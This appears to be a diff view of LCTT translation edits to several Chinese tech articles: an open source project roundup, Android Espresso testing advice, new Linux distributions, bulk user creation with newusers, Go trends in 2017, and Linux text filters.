[Eclipse Che][11] 是下一代在线集成开发环境IDE和开发者工作区。Joshua Allen Holm 在 2016 年 11 月为我们[点评][12]了 Eclipse Che使我们可以一窥项目背后的开发者社区Eclipse Che 创新性地使用了容器技术,并且开箱即用就支持多种流行语言。
“Eclipse Che 集成了就绪即用( ready-to-go的软件环境stack覆盖了绝大多数现代流行语言。这包括 C++、Java、Go、PHP、Python、.NET、Node.js、Ruby on Rails 和 Android 开发的软件环境。软件环境仓库Stack Library )如果不够的话,甚至还提供了更多的选择,你可以创建一个能够提供特殊环境的定制软件环境。”
你可以通过网上的[托管账户][13]、[本地安装][14],或者在你常用的[云供应商][15]上测试 Eclipse Che。你也可以在 GitHub 上找到它的[源代码][16],发布于 [Eclipse 公开许可证][17]之下。
### FreeCAD
[FreeCAD][18] 是用 Python 写的,是一款电脑辅助设计工具(或叫电脑辅助起草工具),可以用它来为实际物体创建设计模型。 Jason Baker 在 [3 款可供选择的 AutoCAD 的开源替代品][19]一文中写到关于 FreeCAD
“FreeCAD 可以从各种常见格式中导入和导出 3D 对象,其模块化结构使得它易于通过各种插件扩展基本功能。该程序有许多内置的界面选项,这包括从草稿到渲染器,甚至还有一个机器人仿真能力。”
FreeCAD 是 [LGPL][20] 许可的,它的[源代码][21]托管在 GitHub 上。
### GnuCash
[GnuCash][22] 是一个跨平台的开源桌面应用,它可以用来管理个人和小型商业账户。 Jason Baker 把 GnuCash 列入了我们针对个人金融的 Mint 和 Quicken 的开源替代品的[综述列表][23]中:
GnuCash “具有多项记账的特性,能从多种格式导入数据,处理多重汇率,为你创建预算,打印支票,创建定制计划报告,并且能够直接从网上银行导入和拉取股票行情。”
其发布于 GPL [版本 2 或版本 3 许可证][25]下,你可以在 GitHub 上找到 GnuCash 的[源代码][24]。
一个值得一提的 GnuCash 可选替代品是 [KMyMoney][26],它也得到了该列表的提名,是另一个在 Linux 上管理财务的好选择。
### Kodi
[Kodi][27] 是一个开源媒体中心应用,之前叫做 XBMC它能够在多种设备上工作是一个用来 DIY 播放电影、TV、音乐的机顶盒的工具。 Kodi 高度可定制化,它支持多种皮肤、插件和许多遥控设备(包括它自己定制的 Android remote 应用)。
尽管今年我们没有深入地报道 Kodi 但依旧出现在许多关于创建一个家用 Linux [音乐服务器][28]、媒体[管理工具][29]的文章中,还出现在之前的一个关于最喜爱的开源[视频播放器][30]的投票中(如果你在家中使用 Kodi想要写一些自己的体验[请让我们知道][31])。
其发布于 [GPLv2][33] 许可证下,你可以在 GitHub 上找到 Kodi 的[源代码][32]。
### MyCollab
[MyCollab][34] 是一套针对顾客关系管理CRM、文档管理和项目管理的工具。社区管理员 Robin Muilwijk 在他的综述 [2016 年 11 个顶级的项目管理工具][35]一文中详细阐述了 MyCollab-Project 的细节:
“MyCollab-Project 包含许多特性,比如甘特图、里程碑、时间跟踪和事件管理。它有 Kanban 板功能,因而支持敏捷开发模式。 MyCollab-Project 有三个不同的版本,其中[社区版][36]是自由且开源的。”
安装 MyCollab 需要 Java 运行环境和 MySQL 环境的支持。请访问 [MyCollab 网站][37]来了解如何对项目做贡献。
MyCollab 是 AGPLv3 许可的,它的[源代码][38]托管在 GitHub 上。
### OpenAPS
[OpenAPS][39] 是社区管理员在 2016 年发现的另一个有趣的项目,我们也深入报道过它。 OpenAPS即 Open Artificial Pancreas System 项目,是一个致力于提高 1 型糖尿病患者生活质量的开源项目。
该项目包含“[一个专注安全的典范reference设计][40]、一个[工具箱][41]和一个开源的[典范reference实现][42],它们是为设备制造商或者任何能够构造人工胰腺设备的个人设计的,从而能够根据胰岛素水平安全地调节血液中葡萄糖水平。尽管潜在用户在尝试亲自构建或使用该系统前应该小心地测试该项目并和他们的健康护理医生讨论,但该项目的创建者希望开放技术能够加速医疗设备行业的研究和开发步伐,从而发现新的治疗方案并更快的投入市场。”
### OpenHAB
[OpenHAB][43] 是一个具有可插拔体系结构的家用自动化平台。社区管理员 D Ruth Bavousett 今年购买该平台并尝试使用以后为 OpenHAB [写到][44]
“我所发现的其中一个有趣的模块是蓝牙绑定;它能够发现特定的已启用蓝牙的设备(比如你的智能手机、你孩子的那些设备)并且在这些设备到达或离开的时候采取行动-关门或开门、开灯、调节恒温器和关闭安全模式等等”
查看这个能够与社交网络、即时消息和云 IoT 平台进行集成和通讯的[绑定和捆绑设备的完整列表][45]。
OpenHAB 是 EPL 许可的,它的[源代码][46]托管在 GitHub 上。
### OpenToonz
[OpenToonz][47] 是一个 2D 动画生产软件。社区管理员 Joshua Allen 在 2016 年 3 月[报道][48]了它的开源版本,在 Opensource.com 网站的其他动画相关的文章中它也有被提及,但是我们并没有深入介绍,敬请期待。
现在,我们可以告诉你的是, OpenToonz 有许多独一无二的特性,包括 GTS它是吉卜力工作室Studio Ghibli )开发的一个生成工具,还有一个用于图像处理的[效果插件 SDK][49]。
如果想讨论开发和视频研究的话题,请查看 GitHub 上的[论坛][50]。 OpenToonz 的[源代码][51]托管在 GitHub 上,该项目是以 BSD 许可证发布。
### Roundcube
[Roundcube][52] 是一个现代化、基于浏览器的邮件客户端,它提供了邮箱用户使用桌面客户端时可能用到的许多(如果不是全部)功能。它有许多特性,包括支持超过 70 种语言、集成拼写检查、拖放界面、功能丰富的通讯簿、 HTML 电子邮件撰写、多条件搜索、 PGP 加密支持、会话线索等。 Roundcube 可以作为许多用户的邮件客户端的偶尔的替代品工作。
在我们的 [Gmail的开源替代品][53] 综述中, Roundcube 和另外四个邮件客户端均被包含在内。
其以 [GPLv3][55] 许可证发布,你可以在 GitHub 上找到 Roundcube 的[源代码][54]。除了直接[下载][56]、安装该项目,你也可以在许多完整的邮箱服务器软件中找到它,如 [Groupware][57]、[iRedMail][58]、[Mail-in-a-Box][59] 和 [mailcow][60]。
这就是我们的列表了。在 2016 年,你有什么喜爱的开源项目吗?喜爱的原因呢?请在下面的评论框发表。
--------------------------------------------------------------------------------
作者简介:
![](https://opensource.com/sites/default/files/styles/profile_pictures/public/jen-headshot-square.jpeg?itok=GTMugLtD)
Jen Wike Huger - Jen Wike Huger 是 Opensource.com 网站的内容管理员。她负责日期发布、协调编辑团队并指导新作者和已有作者。请在 Twitter 上关注她 @jenwike 并在 Jen.io 上查看她的更多个人简介。
--------------------------------------------------------------------------------
via: https://opensource.com/article/16/12/yearbook-top-10-open-source-projects
作者:[Jen Wike Huger][a]
译者:[ucasFL](https://github.com/ucasFL)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://opensource.com/users/jen-wike
[1]:https://www.flickr.com/photos/george_eastman_house/
[2]:https://www.flickr.com/photos/internetarchivebookimages/14784547612/in/photolist-owsEVj-odcHUi-osAjiE-x91Jr9-obHow3-owt68v-owu56t-ouySJt-odaPbp-owajfC-ouBSeL-oeTzy4-ox1okT-odZmpW-ouXBnc-ot2Du4-ocakCh-obZ8Pp-oeTNDK-ouiMZZ-ie12mP-oeVPhH-of2dD4-obXM65-owkSzg-odBEbi-oqYadd-ouiNiK-icoz2G-ie4G4G-ocALsB-ouHTJC-wGocbd-osUxcE-oeYNdc-of1ymF-idPbwn-odoerh-oeSekw-ovaayH-otn9x3-ouoPm7-od8KVS-oduYZL-obYkk3-hXWops-ocUu6k-dTeHx6-ot6Fs5-ouXK46
[3]:https://atom.io/
[4]:https://opensource.com/life/16/2/culture-pluggable-open-source
[5]:https://github.com/atom/atom/blob/master/CONTRIBUTING.md
[6]:https://github.com/atom/atom
[7]:http://discuss.atom.io/
[8]:http://atom-slack.herokuapp.com/
[9]:https://raw.githubusercontent.com/atom/atom/master/LICENSE.md
[10]:https://github.com/atom/atom
[11]:http://www.eclipse.org/che/
[12]:https://linux.cn/article-8018-1.html
[13]:https://www.eclipse.org/che/getting-started/cloud/
[14]:https://www.eclipse.org/che/getting-started/download/
[15]:https://bitnami.com/stack/eclipse-che
[16]:https://github.com/eclipse/che/
[17]:https://github.com/eclipse/che/blob/master/LICENSE
[18]:http://www.freecadweb.org/
[19]:https://opensource.com/alternatives/autocad
[20]:https://github.com/FreeCAD/FreeCAD/blob/master/COPYING
[21]:https://github.com/FreeCAD/FreeCAD
[22]:https://www.gnucash.org/
[23]:https://opensource.com/life/16/1/3-open-source-personal-finance-tools-linux
[24]:https://github.com/Gnucash/
[25]:https://github.com/Gnucash/gnucash/blob/master/LICENSE
[26]:https://kmymoney.org/
[27]:https://kodi.tv/
[28]:https://opensource.com/life/16/1/how-set-linux-based-music-server-home
[29]:https://opensource.com/life/16/6/tinymediamanager-catalogs-your-movie-and-tv-files
[30]:https://opensource.com/life/15/11/favorite-open-source-video-player
[31]:https://opensource.com/how-submit-article
[32]:https://github.com/xbmc/xbmc
[33]:https://github.com/xbmc/xbmc/blob/master/LICENSE.GPL
[34]:https://community.mycollab.com/
[35]:https://opensource.com/business/16/3/top-project-management-tools-2016
[36]:https://github.com/MyCollab/mycollab
[37]:https://community.mycollab.com/docs/developing-mycollab/how-can-i-contribute-to-mycollab/
[38]:https://github.com/MyCollab/mycollab
[39]:https://openaps.org/
[40]:https://openaps.org/reference-design
[41]:https://github.com/openaps/openaps
[42]:https://github.com/openaps/oref0/
[43]:http://www.openhab.org/
[44]:https://opensource.com/life/16/4/automating-your-home-openhab
[45]:http://www.openhab.org/features/supported-technologies.html
[46]:https://github.com/openhab/openhab
[47]:https://opentoonz.github.io/e/index.html
[48]:https://opensource.com/life/16/3/weekly-news-march-26
[49]:https://github.com/opentoonz/plugin_sdk
[50]:https://github.com/opentoonz/opentoonz/issues
[51]:https://github.com/opentoonz/opentoonz
[52]:https://roundcube.net/
[53]:https://opensource.com/alternatives/gmail
[54]:https://github.com/roundcube/roundcubemail
[55]:https://github.com/roundcube/roundcubemail/blob/master/LICENSE
[56]:https://roundcube.net/download/
[57]:http://kolab.org/
[58]:http://www.iredmail.org/
[59]:https://mailinabox.email/
[60]:https://mailcow.email/

View File

@ -1,14 +1,14 @@
编写 android 测试单元该做的和不该做的事
============================================================
在本文中, 我将根据我的实际经验,为大家阐述一个编写测试用例的最佳实践。在本文中我将使用 Espresso 编码, 但是它们可以用到单元和 instrumentation 测试当中。基于以上目的, 我们来研究一个新闻程序.
在本文中, 我将根据我的实际经验,为大家阐述一个编写测试用例的最佳实践。在本文中我将使用 Espresso 编码, 但是它们可以用到单元测试和仪器测试instrumentation test当中。基于以上目的我们来研究一个新闻程序。
> 以下内容纯属虚构,如有雷同纯属巧合:P
> 以下内容纯属虚构,如有雷同纯属巧合 :P
一个新闻 APP 应该会有以下这些 <ruby>活动<rt>activities</rt></ruby>
一个新闻 APP 应该会有以下这些 activity。
*   语言选择 - 当用户第一次打开软件, 他必须至少选择一种语言。选择后,选项保存在共享偏好中,用户跳转到新闻列表 activity。
*   新闻列表 - 当用户来到新闻列表 activity将发送一个包含语言参数的请求到服务器并将服务器返回的内容显示在 recycler view 上(包含有新闻列表的 id _news_list_。 如果共享偏好中未存语言参数,或者服务器没有返回一个成功消息, 就会弹出一个错误对话框并且 recycler view 将不可见。如果用户只选择了一种语言,新闻列表 activity 有个 “Change your Language” 的按钮,或者如果用户选择多种语言,则按钮为 “Change your Languages” 。 ( 我对天发誓这是一个虚构的 APP 软件)
*   新闻列表 - 当用户来到新闻列表 activity将发送一个包含语言参数的请求到服务器并将服务器返回的内容显示在 recycler view 上(包含有新闻列表的 id _news_list_。 如果共享偏好中未存语言参数,或者服务器没有返回一个成功消息, 就会弹出一个错误对话框并且 recycler view 将不可见。如果用户只选择了一种语言,新闻列表 activity 有个 “Change your Language” 的按钮,或者如果用户选择多种语言,则按钮为 “Change your Languages” 。 (我对天发誓这是一个虚构的 APP 软件)
*   新闻细节 - 如同名字所述, 当用户点选新闻列表项时将启动这个 activity。
这个 APP 功能已经足够,,让我们深入研究下为新闻列表 activity 编写的测试用例。 这是我第一次写的代码。
@ -40,9 +40,9 @@
?}
```
#### 仔细想想测试什么
#### 仔细想想测试什么
在第一个测试用例 _testClickOnAnyNewsItem()_ 如果服务器没有返回成功信息,测试用例将会返回失败,因为 recycler view 是不可见的。但是这个测试用例的目的并非如此。 **不管该用例为 PASS 还是 FAIL它的最低要求是 recycler view 总是可见的,** 如果因某种原因recycler view 不可见,那么测试用例不应视为 FAILED。正确的测试代码应该像下面这个样子。
在第一个测试用例 `testClickOnAnyNewsItem()` 如果服务器没有返回成功信息,测试用例将会返回失败,因为 recycler view 是不可见的。但是这个测试用例的目的并非如此。 **不管该用例为 PASS 还是 FAIL它的最低要求是 recycler view 总是可见的** 如果因某种原因recycler view 不可见,那么测试用例不应视为 FAILED。正确的测试代码应该像下面这个样子。
```
/*
@ -74,15 +74,13 @@
```
#### 一个测试用例本身应该是完整的
当我开始测试, 我通常按如下顺序测试 activities:
* 语音选择
当我开始测试, 我通常按如下顺序测试 activity:
* 语言选择
* 新闻列表
*   新闻细节
因为我首先测试语音选择 activity在测试 NewsList activity 之前,总有一种语音已经是选择好了的。但是当我先测试新闻列表 activity 时,测试用例开始返回错误信息。原因很简单 - 没有选择语言recycler view 不会显示。**注意, 测试用例的执行顺序不能影响测试结果。** 因此在运行测试用例之前, 语言选项必须是保存在共享偏好中的。在本例中,测试用例独立于语言选择 activity 的测试。
因为我首先测试语言选择 activity在测试 NewsList activity 之前,总有一种语言已经是选择好了的。但是当我先测试新闻列表 activity 时,测试用例开始返回错误信息。原因很简单 - 没有选择语言recycler view 不会显示。**注意, 测试用例的执行顺序不能影响测试结果。** 因此在运行测试用例之前, 语言选项必须是保存在共享偏好中的。在本例中,测试用例独立于语言选择 activity 的测试。
```
@Rule
@ -111,9 +109,9 @@
intended(hasComponent(NewsDetailsActivity.class.getName()));
?}
```
#### 在测试用例中避免使用条件代码
#### 在测试用例中避免使用条件代码
现在在第二个测试用例 _testChangeLanguageFeature()_中我们获取到用户选择语言的个数, 基于这个数目,我们写了 if-else 条件来进行测试。 但是 if-else 条件应该写在你的代码当中,而不是测试代码里。每一个条件应该单独测试。 因此, 在本例中, 不是只写一条测试用例,而是要写如下两个测试用例。
现在在第二个测试用例 `testChangeLanguageFeature()` 中,我们获取到用户选择语言的个数,基于这个数目,我们写了 if-else 条件来进行测试。 但是 if-else 条件应该写在你的代码当中,而不是测试代码里。每一个条件应该单独测试。 因此,在本例中,不是只写一条测试用例,而是要写如下两个测试用例。
```
/**
@ -145,14 +143,13 @@
在大多数应用中,我们与外部网络或者数据库进行交互。一个测试用例运行时可以向服务器发送一个请求,并获取成功或失败的返回信息。但是不能因从服务器获取到失败信息,就认为测试用例没有通过。这样想这个问题 - 如果测试用例失败,然后我们修改客户端代码,以便测试用例通过。 但是在本例中, 我们要在客户端进行任何更改吗?- **NO**
但是你应该也无法完全避免要测试网络请求和响应。由于服务器是一个外部代理,我们可以设想一个场景,发送一些可能导致程序崩溃的错误响应。因此, 你写的测试用例应该覆盖所有可能来自服务器的响应,甚至包括服务器决不会发出的响应。这样可以覆盖所有代码,并能保证应用可以处理所有响应,而不会崩溃。
但是你应该也无法完全避免要测试网络请求和响应。由于服务器是一个外部代理,我们可以设想一个场景,发送一些可能导致程序崩溃的错误响应。因此,你写的测试用例应该覆盖所有可能来自服务器的响应,甚至包括服务器决不会发出的响应。这样可以覆盖所有代码,并能保证应用可以处理所有响应,而不会崩溃。
> 正确的编写测试用例与编写这些测试代码同等重要。
感谢你阅读此文章。希望对测试用例写的更好有所帮助。你可以在 [LinkedIn][1] 上联系我。还可以[在这里][2]阅读我的其他文章。
获取更多资讯请关注_[Mindorks][3]_, 我们发新文章时您将获得通知。
获取更多资讯请关注我们, 我们发新文章时您将获得通知。
--------------------------------------------------------------------------------

View File

@ -3,7 +3,7 @@
如果你经常光顾 [Distrowatch][1] 网站,你会发现每一年的 Linux 系统流行度排行榜几乎都没啥变化。
排在前十名的一直都是那几个发行版,其它一些发行版也许现在还在排行榜中,到下一年年底就有可能不在了。
排在前十名的一直都是那几个发行版,其它一些发行版也许现在还在排行榜中,到下一年年底就有可能不在了。
关于 Distrowatch 的一个大家很不了解的功能叫做[候选列表][2],它包括以下类型的发行版:
@ -12,15 +12,15 @@
- 相关的英文资料不够丰富
- 该项目好像都没人进行维护
其它一些非常具有潜力,但是还未被评审的 Linux 系统发行版也是值得大家去关注的。注意,由于 Distrowatch 网站暂时没时间或人力去评审这些新的发行版,因此它们可能永远无法进入网站首页排名。
一些非常具有潜力,但是还未被评审的 Linux 系统发行版也是值得大家去关注的。但是注意,由于 Distrowatch 网站暂时没时间或人力去评审这些新的发行版,因此它们可能永远无法进入网站首页排名。
因此,我们将会跟大家分享下 **2017** 年最具潜力的 **5** 个新的 Linux 发行版系统,并且会对它们做一些简单的介绍。
由于 Linux 系统的生态圈都非常活跃,你可以期待着这篇文章后续的不断更新,或许在下一年中它将完全大变样了。
尽管如此,咱们还是来看下这些新系统吧!
不管怎么说,咱们还是来看下这些新系统吧!
### 1\. SemicodeOS 操作系统
### 1 SemicodeOS 操作系统
[SemicodeOS 操作系统][3] 是一个专为程序员和 Web 开发人员设计的 Linux 发行版。它包括所有的开箱即用的代码编译器,[各种文本编辑器][4][最流行的编程语言的 IDE 环境][5],以及团队协作编程工具。
@ -34,7 +34,7 @@
*Semicode Linux 操作系统*
### 2\. EnchantmentOS 操作系统
### 2 EnchantmentOS 操作系统
[EnchantmentOS][7] 操作系统是一个基于 Xubuntu 16.04 的发行版,它包括一些经过特别挑选的对内存要求较低的应用程序。这无论对新老设备来说都是一个不错的选择。
@ -48,9 +48,9 @@
*EnchantmentOS 操作系统*
### 3\. Escuelas Linux 操作系统
### 3 Escuelas Linux 操作系统
[Escuelas Linux 操作系统][9](在西班牙语中是 ”Linux 学校“ 的意思)是一个基于 Bodhi 的 Linux 发行版,它主要是为中小学教育而设计的,它包括各种各样的与教育相关的应用软件。请忽略其西班牙语名字,它也提供全英语支持。
[Escuelas Linux 操作系统][9](在西班牙语中是 “Linux 学校” 的意思)是一个基于 Bodhi 的 Linux 发行版,它主要是为中小学教育而设计的,它包括各种各样的与教育相关的应用软件。请忽略其西班牙语名字,它也提供全英语支持。
Escuelas Linux 系统其它方面的特性就是它使用的是轻量级桌面环境,低内存和低存储空间要求。其官网宣称,该系统只需要 300 MB 的内存和 20 GB 的硬盘存储空间就可以完美运行。
@ -60,11 +60,11 @@ Escuelas Linux 系统其它方面的特性就是它使用的是轻量级桌面
*Escuelas Linux 操作系统*
### 4\. OviOS 操作系统
### 4 OviOS 操作系统
与前面几个 Linux 发行版截然不同的是,[OviOS 操作系统][11] 并不是一个多用途的操作系统。相反,它被描述为企业级存储操作系统,虽然它不基于任何发行版,但是完全与 Linux 标准库LSB相兼容。
你可以把 OviOS 系统作为一种功能强大的存储设备,它能够处理 iSCSINFSSMB 或者是 FTP 服务,除此之外,最新版的 OviOs 系统还能实现复制及高可用性。因此,你还在等什么呢?赶紧去试用一下吧。
你可以把 OviOS 系统作为一种功能强大的存储设备,它能够处理 iSCSI、NFS、SMB 或者是 FTP 服务,除此之外,最新版的 OviOS 系统还能实现复制及高可用性。因此,你还在等什么呢?赶紧去试用一下吧。
[
![OviOS](http://www.tecmint.com/wp-content/uploads/2016/12/ovios.png)
@ -72,9 +72,9 @@ Escuelas Linux 系统其它方面的特性就是它使用的是轻量级桌面
*OviOS 操作系统*
### 5\. <ruby>开放式网络 Linux 操作系统<rt>Open Network Linux</rt></ruby>
### 5、 Open Network Linux
[ONL][13] 操作系统(简称)是一个基于 Debian 的发行版,而且(就像 OviOs 操作系统一样),它也不是一个多用途的操作系统。
[ONL][13] 操作系统(简称)是一个基于 Debian 的发行版,而且(就像 OviOS 操作系统一样),它也不是一个多用途的操作系统。
如果你是一名网络管理员,你应该为找到这个操作系统而感到庆幸(如果你之前不知道的话),你可以把 ONL 系统应用于裸交换机设备上,替换原有的昂贵且需要授权的操作系统。

View File

@ -0,0 +1,72 @@
在 Linux 中无人看守批量创建用户的方法
=============
### 介绍
作为一名 Linux 系统管理员,你有时必须向系统添加新的用户帐户。为此,经常使用 `adduser` 命令。当涉及到多个用户的创建时,`adduser` 命令可能会变得相当无聊和耗时。这篇短文旨在为 Linux 系统管理员提供一种简单而无人值守的方式来批量创建用户。`newusers` 命令将帮助你通过从预填文件中获取信息来创建多个用户。
**要求**
访问 Linux 计算机的特权。
**约定**
- `#` - 给定命令需要以 root 用户权限运行或者使用 `sudo` 命令
- `$` - 给定命令以常规权限用户运行
### 如何进行
**创建一个包含用户名的文件**
首先,你需要创建一个包含用户名列表的文件。
```
$ vi users-list.txt
```
在文件中,一个用户一行,下面是样式:
```
Username:Password:User ID:Group ID:User Info:Home Directory:Default Shell
Username:Password:User ID:Group ID:User Info:Home Directory:Default Shell
Username:Password:User ID:Group ID:User Info:Home Directory:Default Shell
...
```
**创建用户**
在创建了包含用户信息的文件后,使用 `newusers` 命令创建用户。
```
# newusers users-list.txt
```
**检查用户账户**
最后你可以确认用户已经正确创建了,在 `/etc/passwd` 文件中查看它们:
```
# tail /etc/passwd
```
![using newusers for bulk user creation](https://linuxconfig.org/images/newusers-bulk-user-creation.png)
--------------------------------------------------------------------------------
via: https://linuxconfig.org/simple-way-for-unattended-bulk-user-creation-in-linux
作者:[Essodjolo Kahanam][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://linuxconfig.org/simple-way-for-unattended-bulk-user-creation-in-linux
[1]:https://linuxconfig.org/simple-way-for-unattended-bulk-user-creation-in-linux#h4-1-create-a-file-containing-the-usernames
[2]:https://linuxconfig.org/simple-way-for-unattended-bulk-user-creation-in-linux#h4-2-create-users
[3]:https://linuxconfig.org/simple-way-for-unattended-bulk-user-creation-in-linux#h4-3-check-user-accounts
[4]:https://linuxconfig.org/simple-way-for-unattended-bulk-user-creation-in-linux#h1-introduction
[5]:https://linuxconfig.org/simple-way-for-unattended-bulk-user-creation-in-linux#h2-requirements
[6]:https://linuxconfig.org/simple-way-for-unattended-bulk-user-creation-in-linux#h3-conventions
[7]:https://linuxconfig.org/simple-way-for-unattended-bulk-user-creation-in-linux#h4-how-to-proceed

View File

@ -0,0 +1,106 @@
2017 年 Go 语言编程的五大关注点
============================================================
### 今年像动态插件Serverless Go 以及 HTTP/2 这些创新对你的开发意味着什么?
Go 1.8 刚刚发布,它有几个新功能,包括:
* [HTTP/2 Push][1]
* [HTTP 服务器平滑关闭][2]
* [插件][3]
* [缺省 GOPATH][4]
这些新功能的影响力取决于你和开发团队如何使用 Go。 自从 Go 1.0 于 2012 年发布以来,其简单性、并发性和内置支持使其保持[普及度][9]不断增长所以对“Go 擅长什么”的答案一直在增长。
这里我会提供一些想法,包括新到来的版本及 Go 世界最近其它吸引我的地方。这不是一个详尽的列表,所以请[让我知道][10]你认为在 2017 年 Go 还会发生哪些重要的事。
### Go 的超级可部署性 + 插件 = 容器、任何东西?
[1.8 版本][11]已经发布,我已经与其中几个人交谈过添加动态插件会如何影响像容器之类的事物,动态插件是为了加载在编译时不是程序一部分的共享库的代码。 动态插件使容器中的高并发微服务变得更加简单。 你可以轻松地以外部进程的方式加载插件,同时具备在容器中微服务的所有好处:保护你的主进程不会崩溃,并且没有任何东西会搞乱你的内存空间。 对插件的动态支持应该是在 Go 中使用容器的福音。
*关于专家现场 Go 培训,请注册 [ Go Beyond the Basics][12]。*
### 跨平台支持仍在吸引开发人员
在 Go 开源之后的 7 年里,它已被全球采用。[Daniel Whitenack][13] 是一名数据科学家和工程师,他为 Jupyter 维护 Go 内核,告诉我最近他[在西伯利亚做数据科学和 Go 语言培训][14],(是的,在西伯利亚!数据科学和 Go - 之后再细讲一下...)并 “很惊讶地看到那里 Go 社区是如此活跃和积极。” 人们继续在项目中采取 Go 的另一个很大的原因是交叉编译,对此,几个 Go 专家解释说[这在 Go 1.5 版本中变得更容易了][15]。来自其他语言(如 Python的开发人员应该发现在没有 VM 的目标平台上,能够为多个操作系统构建捆绑的、可部署的应用程序是在 Go 中工作的关键。
在 1.8 版本中对跨平台的支持,再加上[提升了 15% 的编译速度][16],你就可以看到为什么 Go 是初创公司最喜欢的语言。
*有兴趣了解 Go 的基础知识吗?查看 [Go 基础学习路径][17] 让 OReilly 专家来带你开始。*
### Go 解释器在开发中;再见 Read-Eval-Print-Loop
有一些聪明的家伙正在做一个 [Go 解释器][18],我一定会持续关注它。如你所知的那样,有几个 Read-Eval-Print-LoopREPL的解决方案可以用来评估表达式以确保代码如你预期的工作但那些方法通常意味着容忍一些不便或需要费力从几个方案中找到一个适合你的用例的。有一个健壮、一致的解释器就太好了一旦我了解到更多消息我会告诉你们。
*在开发中使用 Go 复杂特性?观看 O'Reilly 的视频训练 [中级 Go ][19]*。
### Go 的 serverless - 会是什么样子?
是的,现在围绕 serverless 架构功能即服务FaaS有很多炒作。但有时候也有些捉摸不定的地方那么关于 Go 的 serverless 发生了什么?我们能在今年看到一个 Go 语言原生支持的 serverless 服务么?
AWS Lambda 是最知名的 serverless 提供商,不过 Google 最近也推出了 [Google Cloud Functions][20]。这两个 FaaS 解决方案使你可以在无须管理服务器的情况下运行代码你的代码存储在别人为你管理的服务器集群上并且仅在触发事件调用它时运行。AWS Lambda 目前支持 JavaScript、Python 和 Java还可以启动 Go、Ruby 和 bash 进程。 Google Cloud Functions 只支持 JavaScript但很可能不久将支持 Java 和 Python。许多物联网设备已经使用 serverless 方案,随着 Go 越来越多地被创业公司采用serverless 似乎是一个可能的增长点,所以我在关注这些 serverless 解决方案中 Go 的开发情况。
已经有[几个框架][25]可以支持 AWS Lambdas
* [λ Gordon][5] - 使用 CloudFormation 创建、连接及部署 AWS Lambdas
* [Apex][6] - 构建、部署及管理 AWS Lambda 函数
* [Sparta][7] - AWS Lambda 微服务的 Go 框架
还有一个 AWS Lambda 替代品支持 Go
* [Iron.io][8]:建立在 Docker 和 Go 之上;语言未知;支持 Golang、Python、Ruby、PHP 和 .NET
*有关 serverless 架构的更多信息,请观看 Mike Roberts 在旧金山 O'Reilly 软件架构会议上的演讲主题:[_serverless介绍_][22]。*
### 数据科学中的 Go
我在本文开头暗示了这一点:也许令人惊讶的是很多人都在使用 Go 进行数据科学和机器学习。关于它是否适合还有一些争论,但基于像 [Gopher 学院之 2016 年终][23]那样的年度文章中,你会注意到 30 篇文章中至少有 4 篇是关于机器学习或分布式数据处理,它们正在像我们走来。
我之前关于 Go 的易部署性的观点可能是数据科学家使用 Go 的一个关键原因:他们可以更轻松地在易读而可用于生产环境的应用程序中向他人展示数据模型。与此相结合的是 Go 的广泛使用(正如我前面提到的,它正变得越来越流行!),而且有数据专家创建“可用并且与其它程序配合”的程序。任何使用 Go 构建的应用数据科学家会在公司其他部分使用相同的语言,或者至少它非常适合现代架构。
*更多关于 Go 的数据科学Daniel Whitenack 写了一个很好的概述,解释了如何使用它: [Data Science Gophers][24]。*
--------------------------------------------------------------------------------
作者简介:
![](https://cdn-images-1.medium.com/fit/c/60/60/1*MFGykrfk6_HjkJzePBtaMw.png)
O'Reilly Media 的监督编辑,与编辑团队合作,涵盖各种各样的编程主题。
--------------------------------------------------------------------------------
via: https://medium.com/@sconant/5-things-to-watch-in-go-programming-in-2017-39cd7a7e58e3#.8t4to5jr1
作者:[Susan Conant][a]
译者:[geekpi](https://github.com/geekpi)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://medium.com/@sconant?source=footer_card
[1]:https://golang.org/doc/go1.8#h2push
[2]:https://golang.org/doc/go1.8#http_shutdown
[3]:https://golang.org/doc/go1.8#plugin
[4]:https://golang.org/doc/go1.8#gopath
[5]:https://github.com/jorgebastida/gordon
[6]:https://github.com/apex/apex
[7]:http://gosparta.io/
[8]:https://www.iron.io/
[9]:https://github.com/golang/go/wiki/GoUsers
[10]:https://twitter.com/SuConant
[11]:https://golang.org/doc/go1.8
[12]:https://www.safaribooksonline.com/live-training/courses/go-beyond-the-basics/0636920065357/
[13]:https://www.oreilly.com/people/1ea0c-daniel-whitenack
[14]:https://devfest.gdg.org.ru/en/
[15]:https://medium.com/@rakyll/go-1-5-cross-compilation-488092ba44ec#.7s7sxmc4h
[16]:https://golang.org/doc/go1.8#compiler
[17]:http://shop.oreilly.com/category/learning-path/go-fundamentals.do
[18]:https://github.com/go-interpreter
[19]:http://shop.oreilly.com/product/0636920047513.do
[20]:https://cloud.google.com/functions/docs/
[21]:https://github.com/SerifAndSemaphore/go-serverless-list
[22]:https://www.safaribooksonline.com/library/view/oreilly-software-architecture/9781491976142/video288473.html?utm_source=oreilly&utm_medium=newsite&utm_campaign=5-things-to-watch-in-go-programming-body-text-cta
[23]:https://blog.gopheracademy.com/series/advent-2016/
[24]:https://www.oreilly.com/ideas/data-science-gophers
[25]:https://github.com/SerifAndSemaphore/go-serverless-list

View File

@ -1,28 +1,28 @@
为了在 Linux 下更有效的进行文件操作的 12 个有用的过滤文本的命令
Linux 上 12 个高效的文本过滤命令
============================================================
在这篇文章中,我们将会复习一些可以作为 Linux 中的过滤器的命令行工具。过滤器是一个程序,它从标准输入读取数据,在数据上执行一个操作,然后把输出结果输出到标准输出。
在这篇文章中,我们将会看一些 Linux 中的过滤器命令行工具。过滤器是一个程序,它从标准输入读取数据,在数据上执行操作,然后把结果写到标准输出。
出于这样的原因,它可以被用于以一种强大的方式处理信息,例如重新结构化输出以生成有用的报告,修改文件里面的文本,和其他的一些系统管理任务。
因此,它可以用来以强大的方式处理信息,例如重新结构化输出以生成有用的报告,修改文件里面的文本,以及其他很多系统管理任务。
说到这里,下面是 Linux 上的一些有用的文件或者文本过滤器。
